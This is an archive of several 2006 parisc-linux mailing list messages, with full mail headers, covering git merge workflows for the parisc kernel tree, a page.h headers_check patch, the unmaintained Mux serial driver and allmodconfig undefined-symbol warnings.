	by free.linux.hp.com (Postfix) with ESMTP id 23FE57D720
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 06:46:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27510-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 06:46:23 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EC7557D718
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 06:46:23 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 7BEA649400B; Tue, 12 Sep 2006 06:46:23 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 541F1494006; Tue, 12 Sep 2006 06:46:23 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T91vKmEZMydyf4igZWplh3JraGRhZhrq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25309


So you've done some work on the parisc git tree, you've been committing
stuff as you go, and now it's time to merge back.  Unfortunately, other
people have also been working on the tree, and so your history is full
of merges that you'd like to get rid of.  Here's how to do it.

I have a pretty simple situation here; I did a couple of commits, then I
pulled the recent 2.6.18-rc6 merge.

So what would I push?

$ git-log origin..master
commit 59c4c2b0510ff0b8acd904c0cbc52a7cba788baf
Merge: 302eeed... df0e7cd...
Author: Matthew Wilcox <matthew@wil.cx>
Date:   Tue Sep 12 05:21:19 2006 -0600

    Merge branch 'master' of /var/git/linux-2.6

commit 302eeedbcb19477ebaee30fe934f4b82cb44fbba
Author: Matthew Wilcox <matthew@wil.cx>
Date:   Tue Sep 12 05:19:15 2006 -0600

    Remove some obsolete comments and I checked that Reo is similar to Ike.

commit 7f51f71822a4019136d3297ba5b50ff9fca8e9f3
Author: Matthew Wilcox <matthew@wil.cx>
Date:   Tue Sep 12 05:17:59 2006 -0600

    Hardware found in the rp8400

The merge commit has to be eliminated.  So create a new branch:

$ git-branch merge origin
$ git-checkout merge
$ git-cherry-pick -e 7f51f71822a4019136d3297ba5b50ff9fca8e9f3
$ git-cherry-pick -e 302eeedbcb19477ebaee30fe934f4b82cb44fbba

I use the -e so I can get rid of the message appended by cherry-pick.

Now let's pretend the original branch never happened.

$ git-branch -D master
$ git-checkout -b master
$ git-branch -d merge

And finally, push to palinux.

$ git-push

Voila, no more merge commits.  I'm sure someone with more git expertise
can tell me a better way of doing this ... but it works.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Zen and the Art of Merge Maintenance
Date: Tue, 12 Sep 2006 11:19:29 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <20060912151929.GB15336@athena.road.mcmartin.ca>
References: <20060912124622.GM29775@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624599 27661 80.91.229.3 (22 Nov 2014 02:49:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:59 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Sep 2006 16:30:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 12 Sep 2006 18:30:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35C287D796;
	Tue, 12 Sep 2006 10:30:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31791-05; Tue, 12 Sep 2006 10:30:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 554137D7AD;
	Tue, 12 Sep 2006 10:30:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F32247D793
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 10:30:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31836-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 10:30:06 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C67577D78A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 10:30:06 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 76BA049400A; Tue, 12 Sep 2006 10:30:06 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id DFF42494006
	for <parisc-linux@parisc-linux.org>;
	Tue, 12 Sep 2006 10:30:05 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22]) by cuprel1.hp.com (Postfix) with ESMTP id 005CD82B
	for <parisc-linux@parisc-linux.org>;
	Tue, 12 Sep 2006 08:20:59 -0700 (PDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 5FB385840F2;
	Tue, 12 Sep 2006 11:20:17 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id CB5895840F1;
	Tue, 12 Sep 2006 11:20:16 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (athena.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 809CE23E02;
	Tue, 12 Sep 2006 11:20:16 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id AE0D33B06E; Tue, 12 Sep 2006 11:19:29 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20060912124622.GM29775@parisc-linux.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rdI0dmcKPTRtDujGPjIwulExc2tpZEu6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25310

Ok, this is how I've been doing merges on palinux.

(Using palinux only to minimize the amount of uploading I have to do
 when I push the tree)

## first, update the `linus' branch on palinux

$ git fetch \
git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git \
 master:linus

## then push the branch back, and any new tags

$ git push origin linus:linus
$ git push --tags origin

## make sure the tree is clean

$ git checkout -f

## then do the merge from a tag

$ git pull origin refs/tags/v2.6.18-rc6:master

## look at, and fix up conflicts

$ vi Makefile

## edit the merge message to remove the conflicts section

$ git commit -a

## tag the merge

$ git tag -a v2.6.18-rc6-pa0

## push

$ git push origin
$ git push --tags origin

## and we're done
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fix 'make headers_check' for PARISC in 2.6.18
Date: Thu, 14 Sep 2006 11:47:54 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <1158230874.4312.51.camel@pmac.infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624600 27663 80.91.229.3 (22 Nov 2014 02:50:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: matthew@wil.cx
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Sep 2006 11:49:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 14 Sep 2006 13:49:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A1957D7D5;
	Thu, 14 Sep 2006 05:49:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02228-04; Thu, 14 Sep 2006 05:49:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C8EA7D7D6;
	Thu, 14 Sep 2006 05:49:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A9C17D7C7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Sep 2006 05:49:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02232-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Sep 2006 05:49:08 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0CE047D747
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Sep 2006 05:49:08 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 902D849400C; Thu, 14 Sep 2006 05:49:07 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id 5A39449400B
	for <parisc-linux@parisc-linux.org>;
	Thu, 14 Sep 2006 05:49:07 -0600 (MDT)
Original-Received: from pentafluge.infradead.org (pentafluge.infradead.org
	[213.146.154.40]) by cuprel1.hp.com (Postfix) with ESMTP id 075CB153F
	for <parisc-linux@parisc-linux.org>;
	Thu, 14 Sep 2006 03:48:01 -0700 (PDT)
Original-Received: from pmac.infradead.org ([81.187.2.168])
	by pentafluge.infradead.org with esmtpsa (Exim 4.62 #1 (Red Hat Linux))
	id 1GNol9-0005iJ-Tm; Thu, 14 Sep 2006 11:47:56 +0100
X-Mailer: Evolution 2.6.3 (2.6.3-1.fc5.5.dwmw2.1) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by
	pentafluge.infradead.org See http://www.infradead.org/rpr.html
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kjVsNSdZZCEXX7GPamwhRwtwIGhpZcYx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25311

Running 'make headers_check' with the 2.6.18-rc7 kernel gives this error
on parisc:

  CHECK   include/asm/page.h
/tmp/khdr-parisc/include/asm/page.h requires asm-generic/memory_model.h,
which does not exist in exported headers

Fix attached. Please apply and forward to Linus before 2.6.18, if you
want parisc to be working in the linux-libc-headers which get released
based on the 2.6.18 exported headers. Having an empty asm/page.h is fine
-- it's one of the headers which is probably going to disappear entirely
in future. But for now, having it break the compile if it does happen to
be included is a bad thing.

The patch also removes some gratuitous and probably incorrect noise
within #ifndef __KERNEL__, and corrects a some comments. 

Signed-off-by: David Woodhouse <dwmw2@infradead.org>

diff --git a/include/asm-parisc/page.h b/include/asm-parisc/page.h
index 0695bc9..cb90065 100644
--- a/include/asm-parisc/page.h
+++ b/include/asm-parisc/page.h
@@ -1,22 +1,14 @@
 #ifndef _PARISC_PAGE_H
 #define _PARISC_PAGE_H
 
-#if !defined(__KERNEL__)
-/* this is for userspace applications (4k page size) */
-# define PAGE_SHIFT	12	/* 4k */
-# define PAGE_SIZE	(1UL << PAGE_SHIFT)
-# define PAGE_MASK	(~(PAGE_SIZE-1))
-#endif
-
-
 #ifdef __KERNEL__
 
 #if defined(CONFIG_PARISC_PAGE_SIZE_4KB)
-# define PAGE_SHIFT	12	/* 4k */
+# define PAGE_SHIFT	12	/* 4KiB */
 #elif defined(CONFIG_PARISC_PAGE_SIZE_16KB)
-# define PAGE_SHIFT	14	/* 16k */
+# define PAGE_SHIFT	14	/* 16KiB */
 #elif defined(CONFIG_PARISC_PAGE_SIZE_64KB)
-# define PAGE_SHIFT	16	/* 64k */
+# define PAGE_SHIFT	16	/* 64KiB */
 #else
 # error "unknown default kernel page size"
 #endif
@@ -188,9 +180,8 @@ #define virt_to_page(kaddr)     pfn_to_p
 #define VM_DATA_DEFAULT_FLAGS	(VM_READ | VM_WRITE | VM_EXEC | \
 				 VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC)
 
-#endif /* __KERNEL__ */

From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anyone maintaining Mux?
Date: Wed, 20 Sep 2006 20:51:29 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20060921025129.GK2585@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624600 27665 80.91.229.3 (22 Nov 2014 02:50:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Sep 2006 02:51:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 21 Sep 2006 04:51:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D506A7D67F;
	Wed, 20 Sep 2006 20:51:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28797-08; Wed, 20 Sep 2006 20:51:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C41337D641;
	Wed, 20 Sep 2006 20:51:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11F357D642
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Sep 2006 20:51:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28797-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Sep 2006 20:51:30 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2487C7D641
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Sep 2006 20:51:30 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id C5C3849400D; Wed, 20 Sep 2006 20:51:29 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id A1633494006; Wed, 20 Sep 2006 20:51:29 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DoQkLct/ZDI4DLHGdWY2qRxxemhmY4Fd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25312


Ryan's listed as the MODULE_AUTHOR for Mux, but I haven't seen anything
from him since he changed jobs.

I recently did an allmodconfig build and I'm looking at the missing
symbols.  A modular Mux looks for:

WARNING: "pdc_iodc_putc" [drivers/serial/mux.ko] undefined!

That's funny (mostly in the sense of odd, with a tinge of amusing)
because mux is supposed to be an output driver ... why's it calling pdc
to write bytes for it?

Turns out, that's in mux_console_write() -- ie only used if
CONFIG_SERIAL_MUX_CONSOLE is set.  It's an exact duplicate of the code
in pdc_cons.c.

We have five options that I see for solving this:

1. Make CONFIG_SERIAL_MUX a bool.  No more mux-as-module.

2. Make CONFIG_SERIAL_MUX_CONSOLE only available if CONFIG_SERIAL_MUX is y.

3. Export pdc_iodc_putc.  What's one more symbol between friends?

4. Delete CONFIG_SERIAL_MUX_CONSOLE and make pdc console work right.

5. Rewrite the Mux console to actually use the mux rather than PDC.

I'd like somebody else to be enthusiastic enough to do #5, but I'm
concerned that we don't really have a maintainer for this code right
now, and nobody's going to have time/inclination to do it.

BTW, owning this hardware is not required to work on this driver -- we
have a K-class with remote power in the Fort Collins test-ring.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Current allmodconfig failures
Date: Thu, 21 Sep 2006 05:42:40 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20060921114240.GL2585@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624600 27670 80.91.229.3 (22 Nov 2014 02:50:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Sep 2006 11:42:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 21 Sep 2006 13:42:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D50F7D6BC;
	Thu, 21 Sep 2006 05:42:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02298-06; Thu, 21 Sep 2006 05:42:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C49CE7D6B0;
	Thu, 21 Sep 2006 05:42:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1471A7D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Sep 2006 05:42:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02298-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Sep 2006 05:42:40 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D75437D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Sep 2006 05:42:40 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 85BDC49400C; Thu, 21 Sep 2006 05:42:40 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 7523D494006; Thu, 21 Sep 2006 05:42:40 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i0ggdpAiPTRtDujGPjIwUa8xc2tpZEuC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25313

$ grep undefined make.err 
WARNING: "flush_data_cache" [drivers/video/console/sticore.ko] undefined!
WARNING: "sti_set" [drivers/video/console/sticon.ko] undefined!
WARNING: "sti_putc" [drivers/video/console/sticon.ko] undefined!
WARNING: "sti_bmove" [drivers/video/console/sticon.ko] undefined!
WARNING: "sti_clear" [drivers/video/console/sticon.ko] undefined!
WARNING: "dummy_con" [drivers/video/console/sticon.ko] undefined!
WARNING: "conswitchp" [drivers/video/console/sticon.ko] undefined!
WARNING: "pdc_iodc_putc" [drivers/serial/mux.ko] undefined!
WARNING: "isa_bus_to_virt" [drivers/net/ni52.ko] undefined!

I suspect the flush_data_cache() is a relic from the olden days -- I
think the flush_icache_range() call should be sufficient.

The pdc_iodc_putc() call I mentioned in a missive yesterday.

isa_bus_to_virt() is an interesting one.  We don't currently have
virtual mappings for the ISA bus.  This driver needs to be converted to
use ioremap().  I'm tempted to mark it !PARISC in Kconfig.  Or rather,
mark it ARM || MIPS || X86 since those are the only architectures which
implement isa_bus_to_virt.

STI scares me.  I don't understand why we need the dummy console.  I
don't know if it makes any sense to build your console as a module.  I
don't know why sticore is in the console directory.

I fixed all the other allmodconfig problems I found ;-)
_______________________________________________
